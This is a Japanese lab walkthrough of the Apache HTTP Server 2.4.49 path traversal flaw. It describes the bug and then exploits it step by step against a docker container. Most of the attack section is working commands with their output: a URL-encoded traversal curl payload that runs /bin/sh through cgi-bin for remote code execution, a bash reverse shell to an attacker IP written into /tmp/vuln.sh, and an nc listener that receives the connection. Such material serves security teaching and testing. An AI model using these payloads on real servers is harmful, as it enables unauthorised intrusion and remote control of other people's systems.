
Apache HTTP Server 2.4.49 のパス正規化に加えられた変更に欠陥が見つかりました。攻撃者はパストラバーサル攻撃を使用して、Alias 系ディレクティブで設定されたディレクトリの外にあるファイルに URL をマッピングできる可能性があります。
これらのディレクトリの外部にあるファイルが通常のデフォルト設定「require all denied」によって保護されていない場合、これらのリクエストは成功する可能性があります。また、これらのエイリアスされたパスに対して CGI スクリプトも有効になっている場合、リモートコード実行が可能になる可能性があります。
この問題は、実際に悪用されていることが知られています。
この問題は Apache 2.4.49 のみに影響し、それ以前のバージョンには影響しません。
パストラバーサル攻撃(ディレクトリトラバーサルとも呼ばれます)は、Web ルートフォルダの外部に保存されているファイルやディレクトリへのアクセスを目的としています。「ドットドットスラッシュ(../)」シーケンスとその亜種を参照する変数を操作したり、絶対ファイルパスを使用したりすることで、アプリケーションのソースコードや設定、重要なシステムファイルなど、ファイルシステム上に保存されている任意のファイルやディレクトリにアクセスできる可能性があります。ファイルへのアクセスは、システムの運用アクセス制御(Microsoft Windows オペレーティングシステム上のロックされたファイルや使用中のファイルの場合など)によって制限されることに注意してください。
この攻撃は、「ドットドットスラッシュ」、「ディレクトリトラバーサル」、「ディレクトリクライミング」、「バックトラッキング」としても知られています。
$ docker-compose build
$ docker-compose up
動作を確認
$ curl http://localhost:1234
<html><body><h1>It works!</h1></body></html>
被害者 : localhost:1234
攻撃者 : 192.168.1.12
ドキュメントによると、これはリモートでコードを実行できるようにする脆弱性(RCE)です。
cgi-bin フォルダを指定して curl を実行することで、これを悪用できます。
$ curl 'http://<victim_ip>/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh' --data 'echo Content-Type:text/plain; echo; <command>'
1. RCE
実際にコマンドにアクセスできるかどうか、例えば id を見てみましょう:
$ curl 'http://localhost:1234/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh' --data 'echo Content-Type:text/plain; echo; id'
uid=1(daemon) gid=1(daemon) groups=1(daemon)
2. リバースシェル
被害者のサーバー上に bash ファイルを作成して、リバースシェルをテストします。
PayloadsAllTheThings リポジトリにある bash のリバースシェルを例として使用します。
以下は例です:
bash -i >& /dev/tcp/10.0.0.1/4242 0>&1
被害者のマシンの /tmp/ フォルダに vuln.sh ファイルを作成しましょう!
このファイルには、リモートで実行できるリバースシェルが含まれます。ポート 44 でローカルマシンに接続します。
$ curl 'http://localhost:1234/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh' --data 'echo Content-Type:text/plain; echo; echo "#!/bin/bash\nbash -i >& /dev/tcp/192.168.1.12/44 0>&1" > /tmp/vuln.sh'
cat コマンドでファイルの内容を確認できます。
$ curl 'http://localhost:1234/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh' --data 'echo Content-Type:text/plain; echo; cat /tmp/vuln.sh'
#!/bin/bash
bash -i >& /dev/tcp/192.168.1.12/44 0>&1
3. ncat によるリスナー
ローカルマシン上にリスナーを作成します。
$ nc -lvnp 44
あとはリモートファイルを実行するだけです。
$ curl 'http://localhost:1234/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh' --data 'echo Content-Type:
text/plain; echo; bash /tmp/vuln.sh'
応答:
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::44
Ncat: Listening on 0.0.0.0:44
Ncat: Connection from 172.19.32.1.
Ncat: Connection from 172.19.32.1:58963.